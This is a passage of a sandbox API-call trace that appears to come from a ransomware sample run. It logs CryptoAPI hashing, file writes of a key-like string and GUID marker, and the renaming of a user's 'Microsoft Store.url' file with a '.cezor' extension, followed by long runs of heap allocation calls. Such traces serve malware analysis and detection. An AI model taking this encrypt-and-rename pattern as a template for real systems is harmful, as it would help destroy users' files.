dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.942] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.942] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.942] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.942] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.942] GetLastError () returned 0x0 [0060.942] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.942] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.942] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.942] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x81, lpOverlapped=0x0) returned 1 [0060.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.942] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.943] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.943] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.943] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.943] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.943] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.943] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.943] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.943] CloseHandle (hObject=0x5c4) returned 1 [0060.944] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.944] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.944] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.944] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.cezor")) returned 1 [0060.944] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.944] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.945] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0060.945] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0060.945] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.945] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.945] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.945] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.945] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.947] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 